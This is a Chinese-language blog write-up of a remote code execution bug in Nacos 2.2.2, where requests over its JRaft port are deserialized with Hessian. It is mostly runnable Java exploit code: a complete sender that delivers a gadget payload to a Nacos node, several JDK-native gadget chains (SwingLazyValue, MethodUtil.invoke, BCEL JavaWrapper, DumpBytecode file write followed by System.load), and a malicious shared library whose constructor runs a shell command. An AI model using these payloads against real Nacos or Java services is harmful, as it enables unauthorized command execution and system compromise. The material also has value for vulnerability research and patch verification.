• nacos 2.2.2 反序列化


    漏洞描述

    Nacos在处理某些基于Jraft的请求时,采用Hessian进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。

    触发点分析

    https://github.com/alibaba/nacos/pull/10542/files

    可以看出来是SerializerFactory的锅

    定位 src/main/java/com/alibaba/nacos/consistency/serialize/HessianSerializer.java

    使用类为com/alibaba/nacos/consistency/SerializeFactory.java

    其调用HessianSerializer的deserialize方法

    构造请求包和gadget

    构造请求包

    JRaft 可参考JRaft 用户指南 · SOFAStack

    复制一段大佬的Payload

    package com.alibaba.nacos;
    
    import com.alibaba.nacos.consistency.entity.WriteRequest;
    import com.alipay.sofa.jraft.RouteTable;
    import com.alipay.sofa.jraft.conf.Configuration;
    import com.alipay.sofa.jraft.entity.PeerId;
    import com.alipay.sofa.jraft.option.CliOptions;
    import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
    import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.caucho.hessian.io.SerializerFactory;
    import com.google.protobuf.ByteString;
    import sun.reflect.misc.MethodUtil;
    import sun.swing.SwingLazyValue;
    
    import javax.swing.*;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.concurrent.ConcurrentHashMap;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            byte[] bytes = build(new String[]{"open", "-a", "Calculator.app"});
            send("localhost:7848", bytes);
        }
    
    
        public static void send(String addr, byte[] payload) throws Exception {
            Configuration conf = new Configuration();
            conf.parse(addr);
            RouteTable.getInstance().updateConfiguration("nacos", conf);
            CliClientServiceImpl cliClientService = new CliClientServiceImpl();
            cliClientService.init(new CliOptions());
            RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();
            PeerId leader = PeerId.parsePeer(addr);
            Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
            parserClasses.setAccessible(true);
            ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());
            map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
            MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());
            final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming_persistent_service_v2").setData(ByteString.copyFrom(payload)).build();
            Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);
        }
    
        private static byte[] build(String[] cmd) throws Exception {
            //windows
    //        String[] command = {"cmd", "/c", cmd};
            String[] command = cmd;
            Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
            Method exec = Runtime.class.getMethod("exec", String[].class);
            SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});
    
    
            UIDefaults u1 = new UIDefaults();
            UIDefaults u2 = new UIDefaults();
            u1.put("key", swingLazyValue);
            u2.put("key", swingLazyValue);
            HashMap hashMap = new HashMap();
            Class node = Class.forName("java.util.HashMap$Node");
            Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
            constructor.setAccessible(true);
            Object node1 = constructor.newInstance(0, u1, null, null);
            Object node2 = constructor.newInstance(0, u2, null, null);
            Field key = node.getDeclaredField("key");
            key.setAccessible(true);
            key.set(node1, u1);
            key.set(node2, u2);
            Field size = HashMap.class.getDeclaredField("size");
            size.setAccessible(true);
            size.set(hashMap, 2);
            Field table = HashMap.class.getDeclaredField("table");
            table.setAccessible(true);
            Object arr = Array.newInstance(node, 2);
            Array.set(arr, 0, node1);
            Array.set(arr, 1, node2);
            table.set(hashMap, arr);
    
    
            HashMap hashMap1 = new HashMap();
            size.set(hashMap1, 2);
            table.set(hashMap1, arr);
    
    
            HashMap map = new HashMap();
            map.put(hashMap, hashMap);
            map.put(hashMap1, hashMap1);
    
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(baos);
            output.getSerializerFactory().setAllowNonSerializable(true);
            output.writeObject(map);
            output.flushBuffer();
    
            Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
            SerializerFactory.createDefault().getClassFactory().allow("*");
            hessian2Input.readObject();
    
            return baos.toByteArray();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106

    Gadget

    参考资源

    0ctf中的Hessian

    https://blog.z3ratu1.top/0CTF2022%E5%A4%8D%E7%8E%B0.html

    http://www.bmth666.cn/bmth_blog/2023/02/07/0CTF-TCTF-2022-hessian-onlyJdk

    ​ https://paper.seebug.org/1814/

    ​ https://paper.seebug.org/1131/

    Xstream 历史原生链 https://x-stream.github.io/CVE-2021-21346.html

    这里学习一下Hessian原生链

    先看https://paper.seebug.org/1814/

    发现com.alibaba.com.caucho.hessian.io.Hessian2Input#except()中可以利用readObject创建对象并使用对象的toString方法

    protected IOException expect(String expect, int ch) throws IOException {
    ....
    try {
    ...
        Object obj = this.readObject();
        return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    调试发现在Hessian2Input#readString()中switch语句走到default时对.expect()进行调用,尝试寻找利用点

    public int readString(char[] buffer, int offset, int length) throws IOException {
        int readLength = 0;
        if (this._chunkLength == -2) {
            this._chunkLength = 0;
            return -1;
        } else {
            int tag;
            if (this._chunkLength == 0) {
                tag = this.read();
                switch(tag) {
                ...
                case 67...
                default:
                    throw this.expect("string", tag);
                }
            }
        ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    这里tag的case取67时,既可以在readString中执行default,又可以在readObject()中触发readObject(); -> readObjectDefinition(); -> readString();的调用链

    public Object readObject(Class cl) throws IOException {
        if (cl != null && cl != Object.class) {
            int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
            int ref;
            Deserializer reader;
            Object v;
            Object v;
            Deserializer reader;
            String type;
            int size;
            Deserializer reader;
            Hessian2Input.ObjectDefinition def;
            switch(tag) {
            case 67:
                this.readObjectDefinition(cl);
                return this.readObject(cl);
            ...}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    可以用这种方法执行反序列化但上面打nacos的例子代码中并没有使tag=67 还不知道为啥

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output output = new Hessian2Output(baos);
    baos.write(67);
    output.writeObject(evilClass);
    output.flushBuffer();
    
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    Hessian2Input input = new Hessian2Input(bais);
    input.readObject();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    简单test后,可行本地弹出计算器

    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    
    class Evil implements Serializable {
        @Override
        public String toString() {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
            System.out.println("success");
            return super.toString();
        }
    }
    public class main {
        public static void main(String[] args) throws IOException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(baos);
            Evil evilClass = new Evil();
            baos.write(67);
            output.writeObject(evilClass);
            output.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    XSTream中的toString利用链

    如下Jdk原生利用链,可以以toString为入口调用

    /*
    javax.swing.MultiUIDefaults.toString
                UIDefaults.get
                    UIDefaults.getFromHashTable
                        UIDefaults$LazyValue.createValue
                        SwingLazyValue.createValue
                            javax.naming.InitialContext.doLookup()
    */
                            
    UIDefaults uiDefaults = new UIDefaults();
    uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
    Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
    Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
    declaredConstructor.setAccessible(true);
    o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    研究一下

    class MultiUIDefaults extends UIDefaults
    {
        private UIDefaults[] tables;
    
        public MultiUIDefaults(UIDefaults[] defaults) {
            super();
            tables = defaults;
        }
    
        public MultiUIDefaults() {
            super();
            tables = new UIDefaults[0];
        }
    
    
        @Override
        public synchronized String toString() {
            StringBuffer buf = new StringBuffer();
            buf.append("{");
            Enumeration keys = keys();
            while (keys.hasMoreElements()) {
                Object key = keys.nextElement();
                buf.append(key + "=" + get(key) + ", ");//go to super.get()
            }
            int length = buf.length();
            if (length > 1) {
                buf.delete(length-2, length);
            }
            buf.append("}");
            return buf.toString();
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
        public Object get(Object key) {
            Object value = getFromHashtable( key );
            return (value != null) ? value : getFromResourceBundle(key, null);
        }
        private Object getFromHashtable(final Object key) {
            /* Quickly handle the common case, without grabbing
             * a lock.
             */
            Object value = super.get(key);
            if ((value != PENDING) &&
                !(value instanceof ActiveValue) &&
                !(value instanceof LazyValue)) {
                return value;
            }
    
            /* If the LazyValue for key is being constructed by another
             * thread then wait and then return the new value, otherwise drop
             * the lock and construct the ActiveValue or the LazyValue.
             * We use the special value PENDING to mark LazyValues that
             * are being constructed.
             */
            synchronized(this) {
                value = super.get(key);
                if (value == PENDING) {
                    do {
                        try {
                            this.wait();
                        }
                        catch (InterruptedException e) {
                        }
                        value = super.get(key);
                    }
                    while(value == PENDING);
                    return value;
                }
                else if (value instanceof LazyValue) {
                    super.put(key, PENDING);
                }
                else if (!(value instanceof ActiveValue)) {
                    return value;
                }
            }
    
            /* At this point we know that the value of key was
             * a LazyValue or an ActiveValue.
             */
            if (value instanceof LazyValue) {
                try {
                    /* If an exception is thrown we'll just put the LazyValue
                     * back in the table.
                     */
                    value = ((LazyValue)value).createValue(this);
                }
                finally {
                    synchronized(this) {
                        if (value == null) {
                            super.remove(key);
                        }
                        else {
                            super.put(key, value);
                        }
                        this.notifyAll();
                    }
                }
            }
            else {
                value = ((ActiveValue)value).createValue(this);
            }
    
            return value;
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    最后调用createValue可以调用任意静态方法或者一个构造函数,代码如下

    public SwingLazyValue(String var1, String var2, Object[] var3) {
        this.className = var1;
        this.methodName = var2;
        if (var3 != null) {
            this.args = (Object[])var3.clone();
        }
        //构造方法
    }
        public Object createValue(UIDefaults var1) {
            try {
                ReflectUtil.checkPackageAccess(this.className);
                Class var2 = Class.forName(this.className, true, (ClassLoader)null);
                Class[] var3;
                if (this.methodName != null) {
                    var3 = this.getClassArray(this.args);
                    Method var6 = var2.getMethod(this.methodName, var3);
                    this.makeAccessible(var6);
                    return var6.invoke(var2, this.args);
                } else {
                    var3 = this.getClassArray(this.args);
                    Constructor var4 = var2.getConstructor(var3);
                    this.makeAccessible(var4);
                    return var4.newInstance(this.args);
                }
            } catch (Exception var5) {
                return null;
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    SwingLazyValue的var3写的是该Method需要的参数

    但是经过测试,发现这里其实没法使用:

    javax.swing.MultiUIDefaults是package-private类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable、newInstance就没有权限

    所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

    需要找个类替代MultiUIDefaults,由于UIDefaults是继承Hashtable的 ,所以需要从toString()到HashTable.get()

    注意:Hessian可以反序列化未实现 Serializable 接口的类

    (利用Hessian2Output.getSerializerFactory().setAllowNonSerializable(true);)

    PKCS9Attributes+SwingLazyValue+JavaWrapper._main

    找到sun.security.pkcs.PKCS9Attributes
    img

    跟进getAttribute
    img

    这个this.attributes刚好是个HashTable

    接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper_main方法

    img

    看到实例化一个JavaWrapper,进入wrapper.runMain
    img

    使用反射调用了类的_main方法,只需要给类里面加一个_main方法即可实现命令执行

    看到loader.loadClass
    img

    发现是一个bcel classloader

    调用栈

    runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
    _main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    createValue:73, SwingLazyValue (sun.swing)
    getFromHashtable:216, UIDefaults (javax.swing)
    get:161, UIDefaults (javax.swing)
    getAttribute:265, PKCS9Attributes (sun.security.pkcs)
    toString:334, PKCS9Attributes (sun.security.pkcs)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    expect:2880, Hessian2Input (com.caucho.hessian.io)
    readString:1398, Hessian2Input (com.caucho.hessian.io)
    readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
    readObject:2122, Hessian2Input (com.caucho.hessian.io)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    Payload

    //test.java
    public class test {
        public static void _main(String[] argv) throws Exception {
            Runtime.getRuntime().exec("calc");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import sun.reflect.ReflectionFactory;
    import sun.security.pkcs.PKCS9Attribute;
    import sun.security.pkcs.PKCS9Attributes;
    import sun.swing.SwingLazyValue;
    
    import javax.swing.*;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    
    public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper {
        public static void main(String[] args) throws Exception {
            PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
            UIDefaults uiDefaults = new UIDefaults();
            JavaClass evil = Repository.lookupClass(test.class);
            String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
    
            uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
    
            setFieldValue(s,"attributes",uiDefaults);
    
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            baos.write(67);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(s);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
        }
    
        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }
    
        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    需要注意的是恶意类test需要用public方法才能正确执行payload,static不行

    MimeTypeParameterList+SwingLazyValue+MethodUtil.invoke

    这里其实调用到SwingLazyValue后用JNDI注入也行(类似最初XStream的洞)但JNDI有java版本限制

    高版本pass rmi方法:

    RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

    1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
    2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    
    • 1
    • 2

    这里尝试一种新的方法

    MethodUtil.invoke
    public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
        try {
            return bounce.invoke((Object)null, var0, var1, var2);
        } catch (InvocationTargetException var5) {
            Throwable var4 = var5.getCause();
            if (var4 instanceof InvocationTargetException) {
                throw (InvocationTargetException)var4;
            } else if (var4 instanceof IllegalAccessException) {
                throw (IllegalAccessException)var4;
            } else if (var4 instanceof RuntimeException) {
                throw (RuntimeException)var4;
            } else if (var4 instanceof Error) {
                throw (Error)var4;
            } else {
                throw new Error("Unexpected invocation error", var4);
            }
        } catch (IllegalAccessException var6) {
            throw new Error("Unexpected invocation error", var6);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    模仿一下上面的Payload

    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import sun.plugin.com.JavaClass;
    import sun.reflect.misc.MethodUtil;
    import sun.swing.SwingLazyValue;
    
    import javax.activation.MimeTypeParameterList;
    import javax.swing.*;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    
    
    public class MTPList {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
            MimeTypeParameterList s = new MimeTypeParameterList();
            UIDefaults uiDefaults = new UIDefaults();
            Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
            Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
            //uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1/ORxBVgXbeP/Plain/Exec/eyJjbWQiOiJjYWxjIn0="}));
            uiDefaults.put("aaa",new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}}));
            setFieldValue(s,"parameters",uiDefaults);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            baos.write(67);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(s);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
        }
        public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    这里比较有意思的是MethodUtil这里命令执行的构造,实际上是对MethodUtil.invoke进行了两次调用的,道理也很简单,因为SwingLazyValue.createValue方法中是通过传入参数的类型去获取方法的,如果传入的参数不是MethodUtil.class, Object.class, Object[].class就没法找到invoke方法,就无法实现调用了

    如果直接调用Method.invoke执行Runtime,此时会 catch (Exception var5) var5 = java.lang.NoSuchMethodException: sun.reflect.misc.MethodUtil.invoke(java.lang.reflect.Method, java.lang.Runtime, [Ljava.lang.Object;)找不到第二个参数类型为Runtime的invoke方法

    所以先传入了MethodUtil.invoke, new Object(), new Object[]{},再在后续的object[]中传入Runtime执行命令。
    这里有一个需要注意的点,反射调用中,这里的第二个参数应该是方法对应的类实例,第一次应该也是传入MethodUtil,但由于这里调用的是类的静态方法,所以可以传任意的对象进去,这里就是传了一个object

    MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load

    这里m0onsec师傅找到一个写文件的链:jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode
    img

    可以看到参数都是可控的,写后缀为.class文件,并且目录不存在的话会创建目录

    但是因为ClassLoader的原因 ,在SwingLazyValue这里只能加载 rt.jar 里面的类,而DumpBytecode类在 nashorn.jar 里面
    最后找到ProxyLazyValue.createValue
    img

    这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null

    我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
    首先创建一个动态链接库

    #include 
    #include 
    
    void __attribute__ ((__constructor__))  calc (){
    
        system("calc");
    }Copy
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    然后执行gcc -c calc.c -o calc && gcc calc --share -o calc.so 生成恶意so文件

    写文件payload:

    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import jdk.nashorn.internal.runtime.ScriptEnvironment;
    import jdk.nashorn.internal.runtime.logging.DebugLogger;
    import sun.misc.Unsafe;
    
    import javax.swing.*;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode {
        public static void main(String[] args) throws Exception {
            Unsafe unsafe = getUnsafe();
            Object script = unsafe.allocateInstance(ScriptEnvironment.class);
            setFieldValue(script,"_dest_dir","/tmp/");
            Object debug=unsafe.allocateInstance(DebugLogger.class);
            byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
            String classname="calc";
    
            //写文件
            UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
                    script,
                    debug,
                    code,
                    classname
            });
    
            //System.load加载so文件
    //        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
    //                "/tmp/calc.class"
    //        });
    
            setFieldValue(proxyLazyValue,"acc",null);
            UIDefaults uiDefaults = new UIDefaults();
            uiDefaults.put("key", proxyLazyValue);
    
            Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
            Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
            setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            Hessian2Output out = new Hessian2Output(baos);
            baos.write(67);
            out.getSerializerFactory().setAllowNonSerializable(true);
            out.writeObject(mimeTypeParameterList);
            out.flushBuffer();
    
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            Hessian2Input input = new Hessian2Input(bais);
            input.readObject();
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static Unsafe getUnsafe() throws Exception{
            Class<?> aClass = Class.forName("sun.misc.Unsafe");
            Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
            declaredConstructor.setAccessible(true);
            Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
            return unsafe;
        }
    }Copy
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68

    最后加载即可,注意linux和windows生成的so文件存在区别

    调用栈:

    dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    invoke:71, Trampoline (sun.reflect.misc)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
